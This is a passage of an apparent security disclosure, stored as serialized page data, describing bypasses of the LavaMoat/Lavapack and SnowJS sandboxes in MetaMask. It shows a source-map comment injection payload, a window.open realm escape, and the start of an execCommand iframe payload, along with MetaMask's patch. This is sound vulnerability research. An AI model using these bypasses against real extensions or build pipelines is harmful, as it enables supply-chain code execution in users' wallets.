/",{"type":23,"tag":504,"props":47910,"children":47911},{"style":517},[47912],{"type":28,"value":47913},"^",{"type":23,"tag":504,"props":47915,"children":47916},{"style":47905},[47917],{"type":28,"value":47918},"\\s",{"type":23,"tag":504,"props":47920,"children":47921},{"style":47353},[47922],{"type":28,"value":47923},"*?\\/",{"type":23,"tag":504,"props":47925,"children":47926},{"style":622},[47927],{"type":28,"value":2711},{"type":23,"tag":504,"props":47929,"children":47930},{"style":47353},[47931],{"type":28,"value":47932},"\\/\\*",{"type":23,"tag":504,"props":47934,"children":47935},{"style":622},[47936],{"type":28,"value":47937},"][",{"type":23,"tag":504,"props":47939,"children":47940},{"style":47905},[47941],{"type":28,"value":47942},"@#",{"type":23,"tag":504,"props":47944,"children":47945},{"style":622},[47946],{"type":28,"value":14391},{"type":23,"tag":504,"props":47948,"children":47949},{"style":47905},[47950],{"type":28,"value":47918},{"type":23,"tag":504,"props":47952,"children":47953},{"style":47353},[47954],{"type":28,"value":47955},"+?",{"type":23,"tag":504,"props":47957,"children":47958},{"style":47905},[47959],{"type":28,"value":47960},"sourceMappingURL=data:",{"type":23,"tag":504,"props":47962,"children":47963},{"style":622},[47964],{"type":28,"value":47965},"(((?:",{"type":23,"tag":504,"props":47967,"children":47968},{"style":47905},[47969],{"type":28,"value":47970},"application",{"type":23,"tag":504,"props":47972,"children":47973},{"style":517},[47974],{"type":28,"value":9397},{"type":23,"tag":504,"props":47976,"children":47977},{"style":47905},[47978],{"type":28,"value":28},{"type":23,"tag":504,"props":47980,"children":47981},{"style":622},[47982],{"type":28,"value":2105},{"type":23,"tag":504,"props":47984,"children":47985},{"style":47353},[47986],{"type":28,"value":47987},"\\/",{"type":23,"tag":504,"props":47989,"children":47990},{"style":47905},[47991],{"type":28,"value":32975},{"type":23,"tag":504,"props":47993,"children":47994},{"style":622},[47995],{"type":28,"value":47996},")(?:",{"type":23,"tag":504,"props":47998,"children":47999},{"style":47905},[48000],{"type":28,"value":48001},";charset=",{"type":23,"tag":504,"props":48003,"children":48004},{"style":622},[48005],{"type":28,"value":48006},"([^",{"type":23,"tag":504,"props":48008,"children":48009},{"style":47905},[48010],{"type":28,"value":48011},";,",{"type":23,"tag":504,"props":48013,"children":48014},{"style":622},[48015],{"type":28,"value":14391},{"type":23,"tag":504,"props":48017,"children":48018},{"style":47353},[48019],{"type":28,"value":47955},{"type":23,"tag":504,"props":48021,"children":48022},{"style":622},[48023],{"type":28,"value":2105},{"type":23,"tag":504,"props":48025,"children":48026},{"style":47353},[48027],{"type":28,"value":2133},{"type":23,"tag":504,"props":48029,"children":48030},{"style":622},[48031],{"type":28,"value":2105},{"type":23,"tag":504,"props":48033,"children":48034},{"style":47353},[48035],{"type":28,"value":2133},{"type":23,"tag":504,"props":48037,"children":48038},{"style":622},[48039],{"type":28,"value":2105},{"type":23,"tag":504,"props":48041,"children":48042},{"style":47353},[48043],{"type":28,"value":2133},{"type":23,"tag":504,"props":48045,"children":48046},{"style":622},[48047],{"type":28,"value":48048},"(?:",{"type":23,"tag":504,"props":48050,"children":48051},{"style":47905},[48052],{"type":28,"value":48053},";",{"type":23,"tag":504,"props":48055,"children":48056},{"style":622},[48057],{"type":28,"value":526},{"type":23,"tag":504,"props":48059,"children":48060},{"style":47905},[48061],{"type":28,"value":48062},"base64",{"type":23,"tag":504,"props":48064,"children":48065},{"style":622},[48066],{"type":28,"value":48067},"))",{"type":23,"tag":504,"props":48069,"children":48070},{"style":47353},[48071],{"type":28,"value":2133},{"type":23,"tag":504,"props":48073,"children":48074},{"style":47905},[48075],{"type":28,"value":3104},{"type":23,"tag":504,"props":48077,"children":48078},{"style":622},[48079],{"type":28,"value":526},{"type":23,"tag":504,"props":48081,"children":48082},{"style":47905},[48083],{"type":28,"value":320},{"type":23,"tag":504,"props":48085,"children":48086},{"style":47353},[48087],{"type":28,"value":48088},"*?",{"type":23,"tag":504,"props":48090,"children":48091},{"style":622},[48092],{"type":28,"value":2105},{"type":23,"tag":504,"props":48094,"children":48095},{"style":517},[48096],{"type":28,"value":9269},{"type":23,"tag":504,"props":48098,"children":48099},{"style":47905},[48100],{"type":28,"value":3562},{"type":23,"tag":504,"props":48102,"children":48103},{"style":511},[48104],{"type":28,"value":48105},"mg",{"type":23,"tag":504,"props":48107,"children":48108},{"style":523},[48109],{"type":28,"value":866},{"type":23,"tag":504,"props":48111,"children":48112},{"class":506,"line":687},[48113],{"type":23,"tag":504,"props":48114,"children":48115},{"style":523},[48116],{"type":28,"value":4855},{"type":23,"tag":504,"props":48118,"children":48119},{"class":506,"line":736},[48120],{"type":23,"tag":504,"props":48121,"children":48122},{"style":523},[48123],{"type":28,"value":34314},{"type":23,"tag":504,"props":48125,"children":48126},{"class":506,"line":785},[48127],{"type":23,"tag":504,"props":48128,"children":48129},{"emptyLinePlaceholder":16},[48130],{"type":28,"value":1038},{"type":23,"tag":504,"props":48132,"children":48133},{"class":506,"line":813},[48134,48138,48142,48146,48150,48154,48158,48162],{"type":23,"tag":504,"props":48135,"children":48136},{"style":1012},[48137],{"type":28,"value":36862},{"type":23,"tag":504,"props":48139,"children":48140},{"style":523},[48141],{"type":28,"value":320},{"type":23,"tag":504,"props":48143,"children":48144},{"style":517},[48145],{"type":28,"value":47749},{"type":23,"tag":504,"props":48147,"children":48148},{"style":598},[48149],{"type":28,"value":648},{"type":23,"tag":504,"props":48151,"children":48152},{"style":511},[48153],{"type":28,"value":37190},{"type":23,"tag":504,"props":48155,"children":48156},{"style":523},[48157],{"type":28,"value":801},{"type":23,"tag":504,"props":48159,"children":48160},{"style":529},[48161],{"type":28,"value":31647},{"type":23,"tag":504,"props":48163,"children":48164},{"style":523},[48165],{"type":28,"value":537},{"type":23,"tag":504,"props":48167,"children":48168},{"class":506,"line":851},[48169,48173,48177,48181,48186,48190,48194,48198,48203,48207,48212],{"type":23,"tag":504,"props":48170,"children":48171},{"style":544},[48172],{"type":28,"value":38175},{"type":23,"tag":504,"props":48174,"children":48175},{"style":529},[48176],{"type":28,"value":47341},{"type":23,"tag":504,"props":48178,"children":48179},{"style":523},[48180],{"type":28,"value":320},{"type":23,"tag":504,"props":48182,"children":48183},{"style":517},[48184],{"type":28,"value":48185},"replace",{"type":23,"tag":504,"props":48187,"children":48188},{"style":523},[48189],{"type":28,"value":526},{"type":23,"tag":504,"props":48191,"children":48192},{"style":1012},[48193],{"type":28,"value":36862},{"type":23,"tag":504,"props":48195,"children":48196},{"style":523},[48197],{"type":28,"value":320},{"type":23,"tag":504,"props":48199,"children":48200},{"style":529},[48201],{"type":28,"value":48202},"commentRegex",{"type":23,"tag":504,"props":48204,"children":48205},{"style":523},[48206],{"type":28,"value":576},{"type":23,"tag":504,"props":48208,"children":48209},{"style":622},[48210],{"type":28,"value":48211},"''",{"type":23,"tag":504,"props":48213,"children":48214},{"style":523},[48215],{"type":28,"value":630},{"type":23,"tag":504,"props":48217,"children":48218},{"class":506,"line":869},[48219],{"type":23,"tag":504,"props":48220,"children":48221},{"style":523},[48222],{"type":28,"value":15556},{"type":23,"tag":24,"props":48224,"children":48225},{},[48226,48228,48234],{"type":28,"value":48227},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":56,"props":48229,"children":48231},{"className":48230},[],[48232],{"type":28,"value":48233},"/*",{"type":28,"value":48235},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":82,"props":48237,"children":48239},{"id":48238},"the-bypass",[48240],{"type":28,"value":48241},"The Bypass",{"type":23,"tag":24,"props":48243,"children":48244},{},[48245,48247,48252,48254,48259],{"type":28,"value":48246},"By abusing the ",{"type":23,"tag":56,"props":48248,"children":48250},{"className":48249},[],[48251],{"type":28,"value":47749},{"type":28,"value":48253}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":56,"props":48255,"children":48257},{"className":48256},[],[48258],{"type":28,"value":47094},{"type":28,"value":48260}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":494,"props":48262,"children":48264},{"className":496,"code":48263,"language":498,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[48265],{"type":23,"tag":56,"props":48266,"children":48267},{"__ignoreMap":7},[48268,48276,48283,48291,48299,48307,48315,48323,48331,48338,48346],{"type":23,"tag":504,"props":48269,"children":48270},{"class":506,"line":507},[48271],{"type":23,"tag":504,"props":48272,"children":48273},{"style":1106},[48274],{"type":28,"value":48275},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":504,"props":48277,"children":48278},{"class":506,"line":540},[48279],{"type":23,"tag":504,"props":48280,"children":48281},{"emptyLinePlaceholder":16},[48282],{"type":28,"value":1038},{"type":23,"tag":504,"props":48284,"children":48285},{"class":506,"line":555},[48286],{"type":23,"tag":504,"props":48287,"children":48288},{"style":1106},[48289],{"type":28,"value":48290},"}}}}\n",{"type":23,"tag":504,"props":48292,"children":48293},{"class":506,"line":633},[48294],{"type":23,"tag":504,"props":48295,"children":48296},{"style":1106},[48297],{"type":28,"value":48298},"}, {\n",{"type":23,"tag":504,"props":48300,"children":48301},{"class":506,"line":687},[48302],{"type":23,"tag":504,"props":48303,"children":48304},{"style":1106},[48305],{"type":28,"value":48306},"    package: \"xpl\",\n",{"type":23,"tag":504,"props":48308,"children":48309},{"class":506,"line":736},[48310],{"type":23,"tag":504,"props":48311,"children":48312},{"style":1106},[48313],{"type":28,"value":48314},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":504,"props":48316,"children":48317},{"class":506,"line":785},[48318],{"type":23,"tag":504,"props":48319,"children":48320},{"style":1106},[48321],{"type":28,"value":48322},"    test: alert(document.domain),\n",{"type":23,"tag":504,"props":48324,"children":48325},{"class":506,"line":813},[48326],{"type":23,"tag":504,"props":48327,"children":48328},{"style":1106},[48329],{"type":28,"value":48330},"    test1: () => { () => { () => { () => {\n",{"type":23,"tag":504,"props":48332,"children":48333},{"class":506,"line":851},[48334],{"type":23,"tag":504,"props":48335,"children":48336},{"emptyLinePlaceholder":16},[48337],{"type":28,"value":1038},{"type":23,"tag":504,"props":48339,"children":48340},{"class":506,"line":869},[48341],{"type":23,"tag":504,"props":48342,"children":48343},{"style":1106},[48344],{"type":28,"value":48345},"/*\n",{"type":23,"tag":504,"props":48347,"children":48348},{"class":506,"line":878},[48349],{"type":23,"tag":504,"props":48350,"children":48351},{"style":1106},[48352],{"type":28,"value":48353},"*/\n",{"type":23,"tag":24,"props":48355,"children":48356},{},[48357],{"type":28,"value":48358},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":82,"props":48360,"children":48362},{"id":48361},"lavapack-patch",[48363],{"type":28,"value":48364},"Lavapack Patch",{"type":23,"tag":24,"props":48366,"children":48367},{},[48368,48370,48376],{"type":28,"value":48369},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":56,"props":48371,"children":48373},{"className":48372},[],[48374],{"type":28,"value":48375},"assertValidJS",{"type":28,"value":48377},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":48379,"children":48380},{},[48381,48383,48390],{"type":28,"value":48382},"The patch was introduced in commit ",{"type":23,"tag":92,"props":48384,"children":48387},{"href":48385,"rel":48386},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[96],[48388],{"type":28,"value":48389},"9c38cd4",{"type":28,"value":320},{"type":23,"tag":494,"props":48392,"children":48394},{"className":39334,"code":48393,"language":39336,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[48395],{"type":23,"tag":56,"props":48396,"children":48397},{"__ignoreMap":7},[48398,48406,48414,48422,48430,48438,48446,48454,48461,48469],{"type":23,"tag":504,"props":48399,"children":48400},{"class":506,"line":507},[48401],{"type":23,"tag":504,"props":48402,"children":48403},{"style":1440},[48404],{"type":28,"value":48405},"+ function assertValidJS(code) {\n",{"type":23,"tag":504,"props":48407,"children":48408},{"class":506,"line":540},[48409],{"type":23,"tag":504,"props":48410,"children":48411},{"style":1440},[48412],{"type":28,"value":48413},"+  try {\n",{"type":23,"tag":504,"props":48415,"children":48416},{"class":506,"line":555},[48417],{"type":23,"tag":504,"props":48418,"children":48419},{"style":1440},[48420],{"type":28,"value":48421},"+    new Function(code)\n",{"type":23,"tag":504,"props":48423,"children":48424},{"class":506,"line":633},[48425],{"type":23,"tag":504,"props":48426,"children":48427},{"style":1440},[48428],{"type":28,"value":48429},"+  } catch (err) {\n",{"type":23,"tag":504,"props":48431,"children":48432},{"class":506,"line":687},[48433],{"type":23,"tag":504,"props":48434,"children":48435},{"style":1440},[48436],{"type":28,"value":48437},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":504,"props":48439,"children":48440},{"class":506,"line":736},[48441],{"type":23,"tag":504,"props":48442,"children":48443},{"style":1440},[48444],{"type":28,"value":48445},"+  }\n",{"type":23,"tag":504,"props":48447,"children":48448},{"class":506,"line":785},[48449],{"type":23,"tag":504,"props":48450,"children":48451},{"style":1440},[48452],{"type":28,"value":48453},"+ }\n",{"type":23,"tag":504,"props":48455,"children":48456},{"class":506,"line":813},[48457],{"type":23,"tag":504,"props":48458,"children":48459},{"emptyLinePlaceholder":16},[48460],{"type":28,"value":1038},{"type":23,"tag":504,"props":48462,"children":48463},{"class":506,"line":851},[48464],{"type":23,"tag":504,"props":48465,"children":48466},{"style":1440},[48467],{"type":28,"value":48468},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":504,"props":48470,"children":48471},{"class":506,"line":869},[48472],{"type":23,"tag":504,"props":48473,"children":48474},{"style":1440},[48475],{"type":28,"value":48476},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":70,"props":48478,"children":48480},{"id":48479},"hacking-js-realms",[48481],{"type":28,"value":48482},"Hacking JS Realms",{"type":23,"tag":24,"props":48484,"children":48485},{},[48486,48488,48493],{"type":28,"value":48487},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":56,"props":48489,"children":48491},{"className":48490},[],[48492],{"type":28,"value":36394},{"type":28,"value":48494}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":494,"props":48496,"children":48498},{"className":496,"code":48497,"language":498,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[48499],{"type":23,"tag":56,"props":48500,"children":48501},{"__ignoreMap":7},[48502,48544],{"type":23,"tag":504,"props":48503,"children":48504},{"class":506,"line":507},[48505,48509,48514,48518,48522,48526,48531,48535,48540],{"type":23,"tag":504,"props":48506,"children":48507},{"style":511},[48508],{"type":28,"value":8635},{"type":23,"tag":504,"props":48510,"children":48511},{"style":529},[48512],{"type":28,"value":48513}," w",{"type":23,"tag":504,"props":48515,"children":48516},{"style":598},[48517],{"type":28,"value":648},{"type":23,"tag":504,"props":48519,"children":48520},{"style":529},[48521],{"type":28,"value":30386},{"type":23,"tag":504,"props":48523,"children":48524},{"style":523},[48525],{"type":28,"value":320},{"type":23,"tag":504,"props":48527,"children":48528},{"style":517},[48529],{"type":28,"value":48530},"open",{"type":23,"tag":504,"props":48532,"children":48533},{"style":523},[48534],{"type":28,"value":526},{"type":23,"tag":504,"props":48536,"children":48537},{"style":622},[48538],{"type":28,"value":48539},"'/non_existent'",{"type":23,"tag":504,"props":48541,"children":48542},{"style":523},[48543],{"type":28,"value":630},{"type":23,"tag":504,"props":48545,"children":48546},{"class":506,"line":540},[48547,48552,48556,48560,48564,48568,48572,48576],{"type":23,"tag":504,"props":48548,"children":48549},{"style":529},[48550],{"type":28,"value":48551},"w",{"type":23,"tag":504,"props":48553,"children":48554},{"style":523},[48555],{"type":28,"value":320},{"type":23,"tag":504,"props":48557,"children":48558},{"style":517},[48559],{"type":28,"value":31675},{"type":23,"tag":504,"props":48561,"children":48562},{"style":523},[48563],{"type":28,"value":526},{"type":23,"tag":504,"props":48565,"children":48566},{"style":529},[48567],{"type":28,"value":31685},{"type":23,"tag":504,"props":48569,"children":48570},{"style":523},[48571],{"type":28,"value":320},{"type":23,"tag":504,"props":48573,"children":48574},{"style":529},[48575],{"type":28,"value":31695},{"type":23,"tag":504,"props":48577,"children":48578},{"style":523},[48579],{"type":28,"value":1192},{"type":23,"tag":24,"props":48581,"children":48582},{},[48583,48585,48590],{"type":28,"value":48584},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":56,"props":48586,"children":48588},{"className":48587},[],[48589],{"type":28,"value":36394},{"type":28,"value":48591}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":48593,"children":48594},{},[48595,48597,48604],{"type":28,"value":48596},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":92,"props":48598,"children":48601},{"href":48599,"rel":48600},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[96],[48602],{"type":28,"value":48603},"Metamask implementation",{"type":28,"value":2105},{"type":23,"tag":82,"props":48606,"children":48608},{"id":48607},"snowjs-attack-surface",[48609],{"type":28,"value":48610},"SnowJS Attack Surface",{"type":23,"tag":24,"props":48612,"children":48613},{},[48614],{"type":28,"value":48615},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":48617,"children":48618},{},[48619,48621,48628],{"type":28,"value":48620},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":92,"props":48622,"children":48625},{"href":48623,"rel":48624},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[96],[48626],{"type":28,"value":48627},"hooked inserters",{"type":28,"value":48629}," functions:",{"type":23,"tag":494,"props":48631,"children":48633},{"className":496,"code":48632,"language":498,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[48634],{"type":23,"tag":56,"props":48635,"children":48636},{"__ignoreMap":7},[48637,48657,48678,48717,48771,48810,48909,48929,48950],{"type":23,"tag":504,"props":48638,"children":48639},{"class":506,"line":507},[48640,48644,48649,48653],{"type":23,"tag":504,"props":48641,"children":48642},{"style":511},[48643],{"type":28,"value":8635},{"type":23,"tag":504,"props":48645,"children":48646},{"style":529},[48647],{"type":28,"value":48648}," map",{"type":23,"tag":504,"props":48650,"children":48651},{"style":598},[48652],{"type":28,"value":648},{"type":23,"tag":504,"props":48654,"children":48655},{"style":523},[48656],{"type":28,"value":552},{"type":23,"tag":504,"props":48658,"children":48659},{"class":506,"line":540},[48660,48665,48669,48674],{"type":23,"tag":504,"props":48661,"children":48662},{"style":529},[48663],{"type":28,"value":48664},"    Range:",{"type":23,"tag":504,"props":48666,"children":48667},{"style":523},[48668],{"type":28,"value":566},{"type":23,"tag":504,"props":48670,"children":48671},{"style":622},[48672],{"type":28,"value":48673},"'insertNode'",{"type":23,"tag":504,"props":48675,"children":48676},{"style":523},[48677],{"type":28,"value":13244},{"type":23,"tag":504,"props":48679,"children":48680},{"class":506,"line":555},[48681,48686,48690,48695,48699,48704,48708,48713],{"type":23,"tag":504,"props":48682,"children":48683},{"style":529},[48684],{"type":28,"value":48685},"    DocumentFragment:",{"type":23,"tag":504,"props":48687,"children":48688},{"style":523},[48689],{"type":28,"value":566},{"type":23,"tag":504,"props":48691,"children":48692},{"style":622},[48693],{"type":28,"value":48694},"'replaceChildren'",{"type":23,"tag":504,"props":48696,"children":48697},{"style":523},[48698],{"type":28,"value":576},{"type":23,"tag":504,"props":48700,"children":48701},{"style":622},[48702],{"type":28,"value":48703},"'append'",{"type":23,"tag":504,"props":48705,"children":48706},{"style":523},[48707],{"type":28,"value":576},{"type":23,"tag":504,"props":48709,"children":48710},{"style":622},[48711],{"type":28,"value":48712},"'prepend'",{"type":23,"tag":504,"props":48714,"children":48715},{"style":523},[48716],{"type":28,"value":13244},{"type":23,"tag":504,"props":48718,"children":48719},{"class":506,"line":633},[48720,48725,48729,48733,48737,48741,48745,48749,48753,48758,48762,48767],{"type":23,"tag":504,"props":48721,"children":48722},{"style":529},[48723],{"type":28,"value":48724},"    Document:",{"type":23,"tag":504,"props":48726,"children":48727},{"style":523},[48728],{"type":28,"value":566},{"type":23,"tag":504,"props":48730,"children":48731},{"style":622},[48732],{"type":28,"value":48694},{"type":23,"tag":504,"props":48734,"children":48735},{"style":523},[48736],{"type":28,"value":576},{"type":23,"tag":504,"props":48738,"children":48739},{"style":622},[48740],{"type":28,"value":48703},{"type":23,"tag":504,"props":48742,"children":48743},{"style":523},[48744],{"type":28,"value":576},{"type":23,"tag":504,"props":48746,"children":48747},{"style":622},[48748],{"type":28,"value":48712},{"type":23,"tag":504,"props":48750,"children":48751},{"style":523},[48752],{"type":28,"value":576},{"type":23,"tag":504,"props":48754,"children":48755},{"style":622},[48756],{"type":28,"value":48757},"'write'",{"type":23,"tag":504,"props":48759,"children":48760},{"style":523},[48761],{"type":28,"value":576},{"type":23,"tag":504,"props":48763,"children":48764},{"style":622},[48765],{"type":28,"value":48766},"'writeln'",{"type":23,"tag":504,"props":48768,"children":48769},{"style":523},[48770],{"type":28,"value":13244},{"type":23,"tag":504,"props":48772,"children":48773},{"class":506,"line":687},[48774,48779,48783,48788,48792,48797,48801,48806],{"type":23,"tag":504,"props":48775,"children":48776},{"style":529},[48777],{"type":28,"value":48778},"    Node:",{"type":23,"tag":504,"props":48780,"children":48781},{"style":523},[48782],{"type":28,"value":566},{"type":23,"tag":504,"props":48784,"children":48785},{"style":622},[48786],{"type":28,"value":48787},"'appendChild'",{"type":23,"tag":504,"props":48789,"children":48790},{"style":523},[48791],{"type":28,"value":576},{"type":23,"tag":504,"props":48793,"children":48794},{"style":622},[48795],{"type":28,"value":48796},"'insertBefore'",{"type":23,"tag":504,"props":48798,"children":48799},{"style":523},[48800],{"type":28,"value":576},{"type":23,"tag":504,"props":48802,"children":48803},{"style":622},[48804],{"type":28,"value":48805},"'replaceChild'",{"type":23,"tag":504,"props":48807,"children":48808},{"style":523},[48809],{"type":28,"value":13244},{"type":23,"tag":504,"props":48811,"children":48812},{"class":506,"line":736},[48813,48818,48822,48827,48831,48836,48840,48845,48849,48854,48858,48863,48867,48871,48875,48880,48884,48888,48892,48897,48901,48905],{"type":23,"tag":504,"props":48814,"children":48815},{"style":529},[48816],{"type":28,"value":48817},"    Element:",{"type":23,"tag":504,"props":48819,"children":48820},{"style":523},[48821],{"type":28,"value":566},{"type":23,"tag":504,"props":48823,"children":48824},{"style":622},[48825],{"type":28,"value":48826},"'innerHTML'",{"type":23,"tag":504,"props":48828,"children":48829},{"style":523},[48830],{"type":28,"value":576},{"type":23,"tag":504,"props":48832,"children":48833},{"style":622},[48834],{"type":28,"value":48835},"'outerHTML'",{"type":23,"tag":504,"props":48837,"children":48838},{"style":523},[48839],{"type":28,"value":576},{"type":23,"tag":504,"props":48841,"children":48842},{"style":622},[48843],{"type":28,"value":48844},"'insertAdjacentHTML'",{"type":23,"tag":504,"props":48846,"children":48847},{"style":523},[48848],{"type":28,"value":576},{"type":23,"tag":504,"props":48850,"children":48851},{"style":622},[48852],{"type":28,"value":48853},"'replaceWith'",{"type":23,"tag":504,"props":48855,"children":48856},{"style":523},[48857],{"type":28,"value":576},{"type":23,"tag":504,"props":48859,"children":48860},{"style":622},[48861],{"type":28,"value":48862},"'insertAdjacentElement'",{"type":23,"tag":504,"props":48864,"children":48865},{"style":523},[48866],{"type":28,"value":576},{"type":23,"tag":504,"props":48868,"children":48869},{"style":622},[48870],{"type":28,"value":48703},{"type":23,"tag":504,"props":48872,"children":48873},{"style":523},[48874],{"type":28,"value":576},{"type":23,"tag":504,"props":48876,"children":48877},{"style":622},[48878],{"type":28,"value":48879},"'before'",{"type":23,"tag":504,"props":48881,"children":48882},{"style":523},[48883],{"type":28,"value":576},{"type":23,"tag":504,"props":48885,"children":48886},{"style":622},[48887],{"type":28,"value":48712},{"type":23,"tag":504,"props":48889,"children":48890},{"style":523},[48891],{"type":28,"value":576},{"type":23,"tag":504,"props":48893,"children":48894},{"style":622},[48895],{"type":28,"value":48896},"'after'",{"type":23,"tag":504,"props":48898,"children":48899},{"style":523},[48900],{"type":28,"value":576},{"type":23,"tag":504,"props":48902,"children":48903},{"style":622},[48904],{"type":28,"value":48694},{"type":23,"tag":504,"props":48906,"children":48907},{"style":523},[48908],{"type":28,"value":13244},{"type":23,"tag":504,"props":48910,"children":48911},{"class":506,"line":785},[48912,48917,48921,48925],{"type":23,"tag":504,"props":48913,"children":48914},{"style":529},[48915],{"type":28,"value":48916},"    ShadowRoot:",{"type":23,"tag":504,"props":48918,"children":48919},{"style":523},[48920],{"type":28,"value":566},{"type":23,"tag":504,"props":48922,"children":48923},{"style":622},[48924],{"type":28,"value":48826},{"type":23,"tag":504,"props":48926,"children":48927},{"style":523},[48928],{"type":28,"value":13244},{"type":23,"tag":504,"props":48930,"children":48931},{"class":506,"line":813},[48932,48937,48941,48946],{"type":23,"tag":504,"props":48933,"children":48934},{"style":529},[48935],{"type":28,"value":48936},"    HTMLIFrameElement:",{"type":23,"tag":504,"props":48938,"children":48939},{"style":523},[48940],{"type":28,"value":566},{"type":23,"tag":504,"props":48942,"children":48943},{"style":622},[48944],{"type":28,"value":48945},"'srcdoc'",{"type":23,"tag":504,"props":48947,"children":48948},{"style":523},[48949],{"type":28,"value":13244},{"type":23,"tag":504,"props":48951,"children":48952},{"class":506,"line":851},[48953],{"type":23,"tag":504,"props":48954,"children":48955},{"style":523},[48956],{"type":28,"value":15556},{"type":23,"tag":24,"props":48958,"children":48959},{},[48960],{"type":28,"value":48961},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":48963,"children":48964},{},[48965],{"type":28,"value":48966},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":82,"props":48968,"children":48970},{"id":48969},"bypassing-snowjs",[48971],{"type":28,"value":48972},"Bypassing SnowJS",{"type":23,"tag":24,"props":48974,"children":48975},{},[48976,48978,48989,48991,48997],{"type":28,"value":48977},"The deprecated ",{"type":23,"tag":92,"props":48979,"children":48982},{"href":48980,"rel":48981},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[96],[48983],{"type":23,"tag":56,"props":48984,"children":48986},{"className":48985},[],[48987],{"type":28,"value":48988},"document.execCommand",{"type":28,"value":48990}," function is used to execute commands inside a ",{"type":23,"tag":56,"props":48992,"children":48994},{"className":48993},[],[48995],{"type":28,"value":48996},"contenteditable",{"type":28,"value":48998}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":494,"props":49000,"children":49003},{"className":49001,"code":49002,"language":31360,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[49004],{"type":23,"tag":56,"props":49005,"children":49006},{"__ignoreMap":7},[49007],{"type":23,"tag":504,"props":49008,"children":49009},{"class":506,"line":507},[49010,49014,49018,49022,49026,49031,49036,49041,49046,49050],{"type":23,"tag":504,"props":49011,"children":49012},{"style":31353},[49013],{"type":28,"value":4789},{"type":23,"tag":504,"props":49015,"children":49016},{"style":511},[49017],{"type":28,"value":30327},{"type":23,"tag":504,"props":49019,"children":49020},{"style":529},[49021],{"type":28,"value":31433},{"type":23,"tag":504,"props":49023,"children":49024},{"style":523},[49025],{"type":28,"value":601},{"type":23,"tag":504,"props":49027,"children":49028},{"style":622},[49029],{"type":28,"value":49030},"test",{"type":23,"tag":504,"props":49032,"children":49033},{"style":529},[49034],{"type":28,"value":49035}," contenteditable",{"type":23,"tag":504,"props":49037,"children":49038},{"style":529},[49039],{"type":28,"value":49040}," autofocus",{"type":23,"tag":504,"props":49042,"children":49043},{"style":31353},[49044],{"type":28,"value":49045},">\u003C/",{"type":23,"tag":504,"props":49047,"children":49048},{"style":511},[49049],{"type":28,"value":30327},{"type":23,"tag":504,"props":49051,"children":49052},{"style":31353},[49053],{"type":28,"value":4976},{"type":23,"tag":24,"props":49055,"children":49056},{},[49057,49059,49065,49067,49072],{"type":28,"value":49058},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":56,"props":49060,"children":49062},{"className":49061},[],[49063],{"type":28,"value":49064},"insertHTML",{"type":28,"value":49066}," command of ",{"type":23,"tag":56,"props":49068,"children":49070},{"className":49069},[],[49071],{"type":28,"value":48988},{"type":28,"value":49073}," to add a non-sandboxed iframe.",{"type":23,"tag":494,"props":49075,"children":49077},{"className":496,"code":49076,"language":498,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe 